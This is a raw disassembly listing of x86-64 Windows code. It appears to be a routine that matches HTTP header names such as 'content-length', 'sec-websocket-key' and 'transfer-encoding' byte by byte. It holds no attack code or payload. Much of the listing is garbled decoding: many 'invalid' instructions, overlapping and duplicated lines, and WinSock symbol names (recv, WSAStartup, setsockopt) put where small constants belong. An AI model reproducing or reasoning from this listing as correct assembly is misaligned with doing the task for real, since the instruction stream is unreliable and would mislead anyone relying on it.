cmp byte [rcx + 3], 0x74
jne case.0x14007f7ae.105
je 0x140080f48
test dword [rbx - 0x7ffffff7], ebx
wait
or dword [rax], eax
add byte [rax + 0xf650479], al
jns 0x140080f45
jne case.0x14007f7ae.105
invalid
add byte [rax], al
cmp byte [rcx + 4], 0x65
jne case.0x14007f7ae.105
jns 0x140080f45
jne case.0x14007f7ae.105
or dword [rax], eax
add byte [rax + 0xf6e0579], al
jns case.0x140078cb8.238
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
invalid
jns 0x140080f5b
cmp byte [rcx + 5], 0x6e
jns case.0x140078cb8.238
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 6], 0x74
jne case.0x14007f7ae.105
add byte [rax], al
je 0x140080f66
test dword [rbp + 9], edi
add byte [rax], al
add byte [rax + 0xf2d0779], al
test dword [rbx + 9], esi
add byte [rax], al
invalid
cmp byte [rcx + 7], 0x2d
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf720879], al
cmp byte [rcx + 8], 0x72
jne case.0x14007f7ae.105
test dword [rcx + 9], ebp
add byte [rax], al
test dword [rcx + 9], ebp
add byte [rax], al
or dword [rax], eax
add byte [rax + 0xf610979], al
cmp byte [rcx + 9], 0x61
jne case.0x14007f7ae.105
pop rdi
or dword [rax], eax
invalid
cmp byte [rcx + 9], 0x61
jne case.0x14007f7ae.105
pop rdi
or dword [rax], eax
invalid
pop rdi
or dword [rax], eax
add byte [rax + 0xf6e0a79], al
cmp byte [rcx + 0xa], 0x6e
jne case.0x14007f7ae.105
or ch, byte [rsi + 0xf]
test dword [rbp + 9], edx
add byte [rax], al
cmp byte [rcx + 0xb], 0x67
jne case.0x14007f7ae.105
test dword [rbx + 9], ecx
add byte [rax], al
test dword [rbx + 9], ecx
add byte [rax], al
mov al, 0x1a
sbb dh, byte [rdx + 0xcb84165]
add byte [rax], al
mov dl, 0x65
mov r8d, recv
invalid
mov r8d, recv
add cl, ch
jmp case.0x14005f6a2.621
invalid
cmp byte [rcx + 1], 0x65
jne case.0x14007f7ae.105
or dword [rax], eax
invalid
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
sub byte [rcx], cl
add byte [rax], al
cmp byte [rcx + 3], 0x2d
jne case.0x14007f7ae.105
add ebp, dword [0x1492694c8]
add byte [rax], al
cmp byte [rcx + 4], 0x77
jne case.0x14007f7ae.105
adc al, 9
add byte [rax], al
jns 0x140080fc2
ja 0x140080fcf
test dword [rcx + rcx], edx
adc al, 9
or dword [rax], eax
add byte [rax + 0xf650579], al
test dword [rdx], ecx
add byte [rax], al
cmp byte [rcx + 5], 0x65
jne case.0x14007f7ae.105
add eax, 0xa850f65
or dword [rax], eax
add byte [rax + 0xf620679], al
invalid
invalid
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x6f
invalid
test esp, ebp
cmp byte [rcx + 6], 0x62
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 7], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x6f
jne case.0x14007f7ae.105
or byte [rax], al
invalid
or byte [rax], al
add byte [rax + 0xf630979], al
cmp byte [rcx + 9], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x6b
invalid
test eax, ebx
invalid
cmp byte [rcx + 9], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x6b
jne case.0x14007f7ae.105
fmul dword [rax]
add byte [rax], al
fmul dword [rax]
add byte [rax], al
cmp byte [rcx + 0xb], 0x65
jne case.0x14007f7ae.105
or byte [rax], al
add byte [rax + 0xf650b79], al
test esi, ecx
or byte [rax], al
add byte [rax + 0xf740c79], al
or al, 0x74
invalid
test esp, eax
cmp byte [rcx + 0xc], 0x74
or al, 0x74
jne case.0x14007f7ae.105
invalid
or byte [rax], al
add byte [rax + 0xf2d0d79], al
test dword [rdx - 0x7ffffff8], edi
jns 0x140081030
invalid
add byte [rax], al
cmp byte [rcx + 0xd], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 0xe], 0x6b
jne case.0x14007f7ae.105
mov al, 8
add byte [rax], al
invalid
imul ecx, dword [rdi], 0xffffff85
mov al, 8
add byte [rax], al
cmp byte [rcx + 0xf], 0x65
jne case.0x14007f7ae.105
cmpsb byte [rsi], byte [rdi]
or byte [rax], al
invalid
cmpsb byte [rsi], byte [rdi]
or byte [rax], al
add byte [rax + 0x4179b23d], dh
cmp eax, 0xb84179b2
adc byte [rax], al
add byte [rax], al
mov al, 0x3d
cmp eax, 0xb84179b2
adc byte [rax], al
mov dl, 0x79
mov r8d, reloc.WS2_32.dll_recv
add byte [rax], al
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x61
jne case.0x14007f7ae.105
or byte [rax], al
invalid
cmp byte [rcx + 2], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x74
jne case.0x14007f7ae.105
invalid
add esi, dword [rdi + rcx - 0x7b]
jns 0x140081066
add byte [rax], al
add byte [rax + 0xf2d0479], al
test dword [rdi + 8], ebp
cmp byte [rcx + 4], 0x2d
jne case.0x14007f7ae.105
jns 0x140081067
sub eax, 0x86f850f
outsd dx, dword [rsi]
or byte [rax], al
add byte [rax + 0xf6d0579], al
test dword [rbp + 8], esp
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 5], 0x6d
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x6f
jns case.0x1400795f7.101
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
add byte [rax + 0xf640779], al
test dword [rcx + 8], edx
push rcx
or byte [rax], al
invalid
cmp byte [rcx + 7], 0x64
jne case.0x14007f7ae.105
push rcx
or byte [rax], al
invalid
push rcx
or byte [rax], al
add byte [rax + 0xf690879], al
jns 0x140081093
imul ecx, dword [rdi], 0x84785
invalid
cmp byte [rcx + 8], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x66
jne case.0x14007f7ae.105
invalid
or byte [rax], al
invalid
jne case.0x14007f7ae.105
cmp eax, 0x80000008
cmp byte [rcx + 0xa], 0x69
jns 0x1400810a9
imul ecx, dword [rdi], 0x83385
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0xb], 0x65
jne case.0x14007f7ae.105
or byte [rax], al
invalid
add byte [rax + 0xf650b79], al
test dword [rcx], ebp
jne case.0x14007f7ae.105
or byte [rax], al
add byte [rax + 0x4164b22c], dh
mov r8d, recv
mov al, 0x2c
mov dl, 0x64
mov r8d, recv
jmp case.0x14005f6a2.621
invalid
cmp byte [rcx + 1], 0x66
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x2d
jne case.0x14007f7ae.105
or byte [rax], al
invalid
or byte [rax], al
add byte [rax + 0xf6d0379], al
invalid
cmp byte [rcx + 3], 0x6d
jne case.0x14007f7ae.105
test esp, edi
invalid
cmp byte [rcx + 4], 0x6f
jne case.0x14007f7ae.105
invalid
add byte [rax], al
invalid
cmp byte [rcx + 5], 0x64
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x69
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 7], 0x66
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x69
jne case.0x14007f7ae.105
imul ecx, dword [rdi], 0x7ca85
add byte [rax + 0xf650979], al
jns 0x14008111b
invalid
invalid
test eax, eax
invalid
invalid
cmp byte [rcx + 9], 0x65
jne case.0x14007f7ae.105
rol byte [rdi], 0
invalid
jns 0x14008111b
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x64
jne case.0x14007f7ae.105
invalid
add byte [rax], al
or ah, byte [rdi + rcx - 0x7b]
mov dh, 7
invalid
jne case.0x14007f7ae.105
invalid
add byte [rax], al
cmp byte [rcx + 0xb], 0x2d
jne case.0x14007f7ae.105
invalid
or ebp, dword [0x147b4963a]
add byte [rax], al
add byte [rax + 0xf730c79], al
test dword [rdx - 0x7ffffff9], esp
cmp byte [rcx + 0xc], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x69
jne case.0x14007f7ae.105
invalid
cwde
invalid
add byte [rax], al
jns case.0x140079fdb.204
imul ecx, dword [rdi], 0x79885
add byte [rax + 0xf6e0e79], al
cmp byte [rcx + 0xe], 0x6e
jne case.0x14007f7ae.105
invalid
jns case.0x1400693d1.480
test dword [rax - 0x7ffffff9], ebx
jns 0x140081152
cmp byte [rcx + 0xe], 0x6e
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
mov es, word [rdi]
invalid
add byte [rax], al
cmp byte [rcx + 0xf], 0x63
jne case.0x14007f7ae.105
invalid
invalid
mov al, 0x28
mov dl, 0x65
mov r8d, reloc.WS2_32.dll_recv
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
jmp case.0x14005f6a2.621
inc dword [rax + 0xf720179]
test dword [rbx + 7], ebp
cmp byte [rcx + 1], 0x72
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 2], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x6e
jns case.0x140079fdb.216
jne case.0x14007f7ae.105
test dword [rdi + 7], edx
push rdi
invalid
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14007f7ae.105
jae 0x140081196
test dword [rbp + 7], ecx
add byte [rax], al
cmp byte [rcx + 5], 0x66
jne case.0x14007f7ae.105
test dword [rbx + 7], eax
add byte [rax], al
test dword [rbx + 7], eax
add byte [rax], al
invalid
cmp byte [rcx + 6], 0x65
jne case.0x14007f7ae.105
cmp dword [rdi], eax
add byte [rax], al
cmp byte [rcx + 7], 0x72
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 8], 0x2d
jne case.0x14007f7ae.105
sub eax, 0x725850f
add byte [rax], al
cmp byte [rcx + 9], 0x65
jne case.0x14007f7ae.105
invalid
add byte [rax], al
jns 0x1400811c0
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 0xa], 0x6e
jne case.0x14007f7ae.105
invalid
add byte [rax], al
or ch, byte [rsi + 0xf]
test dword [rcx], edx
invalid
or esp, dword [rbx + 0xf]
test dword [rdi], eax
invalid
add byte [rax + 0xf6f0c79], al
or al, 0x6f
jne case.0x14007f7ae.105
test ebp, edi
invalid
add byte [rax], al
test ebp, edi
invalid
cmp byte [rcx + 0xd], 0x64
jne case.0x14007f7ae.105
add byte [rax], al
jns 0x1400811ec
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax + 0xf690e79], al
test ecx, ebp
invalid
cmp byte [rcx + 0xe], 0x69
jne case.0x14007f7ae.105
jmp 0xc00811f7
cmp byte [rcx + 0xf], 0x6e
jns 0x140081202
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
test edi, ebx
invalid
mov al, 0x45
mov dl, 0x67
mov r8d, reloc.WS2_32.dll_recv
adc byte [rax], al
add byte [rax], al
adc byte [rax], al
add byte [rax], al
add cl, ch
add byte [rax], al
jmp case.0x14005f6a2.621
invalid
invalid
cmp byte [rcx + 1], 0x72
add dword [rdx + 0xf], esi
test esi, eax
invalid
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 2], 0x6f
jne case.0x14007f7ae.105
add ch, byte [rdi + 0xf]
test dword [rsi + rax + 0x25b00000], edi
mov al, 0x25
mov dl, 0x6d
mov r8d, 3
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x61
jne case.0x14007f7ae.105
invalid
invalid
invalid
add byte [rax], al
cmp byte [rcx + 2], 0x72
jne case.0x14007f7ae.105
mov al, 0x49
mov r10b, 0x79
mov dl, 0x79
mov r8d, 3
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x65
jne case.0x14007f7ae.105
add byte [rsi], 0
invalid
add byte [rsi], 0
add byte [rax + 0xf660279], al
cmp byte [rcx + 2], 0x66
jne case.0x14007f7ae.105
test dword [rsi + 6], esi
add byte [rax], al
test dword [rsi + 6], esi
add byte [rax], al
movzx edx, byte [rcx + 3]
cmp edx, 0x72
je 0x140081753
jrcxz 0x140081272
add byte [rax], al
jrcxz 0x140081272
add byte [rax], al
cmp edx, 0x65
jne case.0x14007f7ae.105
cli
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x72
jne case.0x14007f7ae.105
push rsi
invalid
add byte [rax], al
push rsi
invalid
cmp byte [rcx + 5], 0x65
jne case.0x14007f7ae.105
mov al, 0x37
jmp 0x140081390
cmp byte [rcx + 1], 0x61
jns case.0x140065142.679
invalid
jne case.0x14007f7ae.105
test dword [rbx], edi
invalid
cmp byte [rcx + 2], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x6e
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 4], 0x69
jne case.0x14007f7ae.105
invalid
add byte [rax], al
invalid
cmp byte [rcx + 5], 0x6e
jne case.0x14007f7ae.105
mov al, 0x4b
mov dl, 0x67
mov r8d, 6
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x61
jne case.0x14007f7ae.105
mov al, 0x21
mov dl, 0x67
mov r8d, 3
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x78
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x70
jne case.0x14007f7ae.105
jo 0x140081316
test ebp, ecx
add eax, 0x79800000
add ebp, dword [rcx + 0xf]
test ebx, eax
add eax, 0x79800000
add al, 0x72
cmp byte [rcx + 3], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x72
jne case.0x14007f7ae.105
add eax, 0x79800000
add eax, 0xaf850f65
add eax, 0x23b00000
cmp byte [rcx + 5], 0x65
jne case.0x14007f7ae.105
mov al, 0x23
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8d, 6
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x73
jne case.0x14007f7ae.105
mov al, 0x26
mov dl, reloc.WS2_32.dll_WSACleanup
mov r8d, 3
jmp case.0x14005f6a2.621
invalid
invalid
invalid
invalid
invalid
cmp byte [rcx + 1], 0x72
jne case.0x14007f7ae.105
test dword [rbx + 5], esi
add byte [rax], al
cmp byte [rcx + 2], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x6c
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x65
jne case.0x14007f7ae.105
invalid
add byte [rax + 0x4172b244], dh
mov eax, 6
mov al, 0x44
mov dl, WSAStartup
mov r8d, 6
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x69
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 2], 0x6e
jne case.0x14007f7ae.105
add ch, byte [rsi + 0xf]
test dword [rax], ebp
add eax, 0x2db00000
mov al, 0x2d
mov dl, 0x6b
mov r8d, 3
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x78
jns 0x1400813c4
js 0x1400813d4
jne case.0x14007f7ae.105
test dword [rdi], ecx
add eax, 0x79800000
cmp byte [rcx + 2], 0x70
jne case.0x14007f7ae.105
add dh, byte [rax + 0xf]
test dword [0xc00813da], eax
cmp byte [rcx + 3], 0x65
jns 0x1400813da
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
sti
add al, 0
add byte [rax + 0xf630479], al
test ecx, esi
add al, 0
add byte [rax + 0x4174b222], dh
cmp byte [rcx + 4], 0x63
jne case.0x14007f7ae.105
mov al, 0x22
mov dl, reloc.WS2_32.dll_WSACleanup
mov r8d, 5
mov eax, 5
mov eax, 5
add cl, ch
lodsb al, byte [rsi]
invalid
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x70
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x67
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 3], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x61
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 5], 0x64
jne case.0x14007f7ae.105
mov al, 0x47
mov dl, 0x65
mov r8d, 6
add byte [rax], al
add byte [rax], al
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x65
jns 0x14008143c
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x76
jne case.0x14007f7ae.105
jns 0x140081452
jbe 0x140081460
test dword [rbx - 0x7ffffffc], eax
jns 0x14008145d
add dword [rax + rax], 0
cmp byte [rcx + 4], 0x65
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
add al, 0
add byte [rax + 0x4172b240], dh
mov eax, 5
mov al, 0x40
mov dl, WSAStartup
mov r8d, 5
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x6b
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x69
jne case.0x14007f7ae.105
add byte [rax], al
mov al, 0x1e
mov dl, 0x65
mov r8d, 5
jmp case.0x14005f6a2.621
invalid
cmp byte [rcx + 1], 0x72
jne case.0x14007f7ae.105
add al, 0
invalid
add al, 0
add byte [rax + 0xf690279], al
test dword [rdi], ebx
add al, 0
cmp byte [rcx + 2], 0x69
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf670379], al
test dword [0xc00814c9], edx
add al, 0
invalid
invalid
cmp byte [rcx + 3], 0x67
jne case.0x14007f7ae.105
add al, 0
invalid
add al, 0
add byte [rax + 0xf690479], al
jns 0x1400814cb
invalid
invalid
test dword [rbx], ecx
cmp byte [rcx + 4], 0x69
jne case.0x14007f7ae.105
jns 0x1400814cb
imul ecx, dword [rdi], 0x40b85
add al, 0
add byte [rax + 0x416eb230], dh
mov eax, 5
add byte [rax], al
invalid
mov al, 0x30
mov dl, WSAGetLastError
mov r8d, 5
add byte [rax], al
invalid
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x67
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x6d
jne case.0x14007f7ae.105
mov al, 0x31
mov dl, 0x61
mov r8d, 5
add byte [rax], al
jmp case.0x14005f6a2.621
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
add byte [rax + 0xf680379], al
test dword [rcx - 0x7ffffffd], esi
cmp byte [rcx + 3], 0x68
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x65
jne case.0x14007f7ae.105
invalid
jns 0x14008152f
jne case.0x14007f7ae.105
add eax, dword [rax]
add byte [rax + 0xf2d0579], al
test dword [rbp - 0x7ffffffd], ebx
add eax, dword [rax]
invalid
invalid
jns 0x140081545
cmp byte [rcx + 5], 0x2d
jne case.0x14007f7ae.105
add eax, dword [rax]
invalid
cmp byte [rcx + 6], 0x73
jne case.0x14007f7ae.105
jae 0x140081550
test dword [rbx - 0x7ffffffd], edx
jns 0x140081550
add byte [rax + 0xf740779], al
cmp byte [rcx + 7], 0x74
jne case.0x14007f7ae.105
add eax, dword [rax]
invalid
je 0x14008155a
test dword [rcx - 0x7ffffffd], ecx
cmp byte [rcx + 8], 0x61
jne case.0x14007f7ae.105
jns 0x14008155b
invalid
cmp byte [rcx + 9], 0x74
jne case.0x14007f7ae.105
test dword [rbp + 3], esi
add byte [rax], al
jns 0x140081566
je 0x14008156e
test dword [rbp + 3], esi
add byte [rax], al
cmp byte [rcx + 0xa], 0x75
jns 0x140081571
or dh, byte [rbp + 0xf]
jne 0x140081578
jne case.0x14007f7ae.105
test dword [rbx + 3], ebp
add byte [rax], al
mov al, send
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8d, recv
jae 0x1400815b4
mov eax, 0xb
jmp case.0x14005f6a2.621
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x65
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf700479], al
test dword [rsi], edi
add eax, dword [rax]
add byte [rax + 0xf740579], al
add eax, 0x34850f74
add eax, dword [rax]
invalid
cmp byte [rcx + 4], 0x70
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x74
jne case.0x14007f7ae.105
add eax, 0x34850f74
add eax, dword [rax]
add byte [rax + 0xf2d0679], al
test dword [rdx], ebp
add eax, dword [rax]
add byte [rax + 0xf720779], al
invalid
jb 0x1400815c3
cmp byte [rcx + 6], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x72
jne case.0x14007f7ae.105
invalid
test dword [rax], esp
add eax, dword [rax]
add byte [rax + 0xf610879], al
test dword [rsi], edx
add eax, dword [rax]
add byte [rax + 0xf6e0979], al
or dword [rsi + 0xf], ebp
cmp byte [rcx + 8], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x6e
jne case.0x14007f7ae.105
test dword [rbx + rax], ecx
add byte [rax], al
cmp byte [rcx + 0xa], 0x67
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x65
jne case.0x14007f7ae.105
mov al, 4
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8d, recv
jmp case.0x14005f6a2.621
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x68
jne case.0x14007f7ae.105
push 0x2d5850f
add byte [rax], al
cmp byte [rcx + 4], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x2d
jne case.0x14007f7ae.105
add al, byte [rax]
invalid
sub eax, 0x2c1850f
add byte [rax], al
add al, byte [rax]
add byte [rax + 0xf630679], al
test dword [rdi - 0x7ffffffe], esi
jns 0x14008162c
cmp byte [rcx + 6], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x6e
jns 0x140081637
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x74
jne case.0x14007f7ae.105
jns 0x140081642
je 0x14008164a
test dword [rcx - 0x7ffffffe], ebx
cmp byte [rcx + 0xa], 0x72
jne case.0x14007f7ae.105
jns case.0x140078cb8.187
or dh, byte [rdx + 0xf]
jb 0x140081654
test dword [rdi - 0x7ffffffe], ecx
jns 0x140081658
cmp byte [rcx + 0xb], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
test dword [rdx], eax
add byte [rax], al
mov al, 0x11
mov dl, 0x6c
mov r8d, recv
jmp case.0x14005f6a2.621
add cl, ch
fdivr st(7)
inc dword [rax + 0xf6e0379]
test dword [rdx + rax], ebp
add byte [rax + 0xf730479], al
test dword [rdx + 2], esp
cmp byte [rcx + 3], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x73
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 5], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x70
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x72
jne case.0x14007f7ae.105
add r8b, byte [rax]
invalid
invalid
add r8b, byte [rax]
add byte [rax + 0xf650879], al
cmp byte [rcx + 8], 0x65
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 9], 0x66
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x74
invalid
test dword [rdx + rax], ebx
sbb al, 2
cmp byte [rcx + 8], 0x65
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 9], 0x66
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x74
jne case.0x14007f7ae.105
sbb al, 2
add byte [rax], al
sbb al, 2
add byte [rax], al
cmp byte [rcx + 0xc], 0x63
jne case.0x14007f7ae.105
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax + 0xf680d79], al
jne case.0x14007f7ae.105
cmp byte [rcx + 0xe], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 0xf], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 0x10], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0x11], 0x6e
invalid
cmp byte [rcx + 0xd], 0x68
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 0xf], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 0x10], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0x11], 0x6e
jne case.0x14007f7ae.105
adc dword [rsi + 0xf], ebp
test eax, esp
add dword [rax], eax
add byte [rax + 0xf741279], al
test esi, edx
add dword [rax], eax
add byte [rax], al
cmp byte [rcx + 0x13], 0x72
invalid
cmp byte [rcx + 0x12], 0x74
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0x13], 0x72
jne case.0x14007f7ae.105
adc esi, dword [rdx + 0xf]
test esp, ecx
add dword [rax], eax
add byte [rax + 0xf6f1479], al
test edx, eax
add dword [rax], eax
add byte [rax + 0x416cb24e], dh
mov eax, reloc.WS2_32.dll_setsockopt
add byte [rax], al
cmp byte [rcx + 0x14], 0x6f
jne case.0x14007f7ae.105
mov al, 0x4e
mov dl, 0x6c
mov r8d, reloc.WS2_32.dll_setsockopt
add byte [rax], al
jmp case.0x14005f6a2.621
cmp byte [rcx + 4], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x6e
jns 0x140081738
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 6], 0x67
jne case.0x14007f7ae.105
jns 0x140081743
jne case.0x14007f7ae.105
add byte [rax + 0x4165b22a], dh
mov eax, 7
invalid
mov al, 0x2a
mov dl, 0x65
mov r8d, 7
invalid
add cl, ch
push rax
jmp case.0x14005f6a2.621
xlatb
invalid
cmp byte [rcx + 4], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x73
jne case.0x14007f7ae.105
mov al, 0x39
mov dl, 0x68
mov r8d, 6
mov eax, 6
mov eax, 6
jmp case.0x14005f6a2.621
cmp byte [rcx + 8], 0x61
jne case.0x14007f7ae.105
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + 0xf6e0979], al
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x6e
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x67
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x75
jns 0x1400817a2
jne 0x1400817a8
jne case.0x14007f7ae.105
test dword [rbx], edi
add dword [rax], eax
add byte [rax + 0xf610c79], al
test dword [rcx], esi
add dword [rax], eax
add byte [rax + 0xf670d79], al
jns 0x1400817b8
jne case.0x14007f7ae.105
mov al, 3
mov dl, 0x65
invalid
cmp byte [rcx + 0xc], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x67
jne case.0x14007f7ae.105
jns 0x1400817b8
jne case.0x14007f7ae.105
mov al, 3
mov dl, 0x65
mov r8d, recv
mov eax, recv
mov eax, recv
invalid
add byte [rax], al
add cl, ch
loop 0x140081795
jmp case.0x14005f6a2.621
invalid
movzx edx, byte [rcx + 9]
cmp edx, 0x61
je 0x140081814
cmp edx, 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x63
jne case.0x14007f7ae.105
or ah, byte [rbx + 0xf]
test esp, edi
add byte [rax], al
add byte [rax + 0xf610b79], al
test edx, esi
add byte [rax], al
add byte [rax + 0xf740c79], al
test eax, ebp
add byte [rax], al
add byte [rax + 0xf690d79], al
cmp byte [rcx + 0xd], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 0xe], 0x6f
jne case.0x14007f7ae.105
mov al, 0x19
mov dl, WSAGetLastError
mov r8d, recv
cmp byte [rcx + 0xd], 0x69
jne case.0x14007f7ae.105
fiadd word [rax]
add byte [rax], al
cmp byte [rcx + 0xe], 0x6f
jne case.0x14007f7ae.105
mov al, 0x19
sldt word [rax]
add cl, ch
jmp case.0x14005f6a2.621
invalid
invalid
cmp byte [rcx + 0xa], 0x6e
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf670b79], al
test dword [rcx - 0x80000000], esi
invalid
jns 0x140081837
cmp byte [rcx + 0xb], 0x67
jne case.0x14007f7ae.105
cmp byte [rcx + 0xc], 0x75
jne 0x14008183c
jne case.0x14007f7ae.105
test dword [rdi - 0x80000000], esp
jns 0x140081842
cmp byte [rcx + 0xd], 0x61
jne case.0x14007f7ae.105
add byte [rax], al
invalid
invalid
test dword [rbp - 0x80000000], ebx
jns 0x14008184d
add byte [rax], al
add byte [rax + 0xf670e79], al
test dword [rbx - 0x50000000], edx
invalid
cmp byte [rcx + 0xe], 0x67
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
xchg ebx, eax
add byte [rax], al
add byte [rax + 0x4165b217], dh
mov eax, recv
mov al, 0x17
mov dl, 0x65
mov r8d, recv
add byte [rax], al
add cl, ch
invalid
invalid
jmp case.0x14005f6a2.621
jne case.0x14007f7ae.105
cmp byte [rcx + 0x11], 0x71
jne case.0x14007f7ae.105
cmp byte [rcx + 0x12], 0x75
jne case.0x14007f7ae.105
cmp byte [rcx + 0x13], 0x65
jne case.0x14007f7ae.105
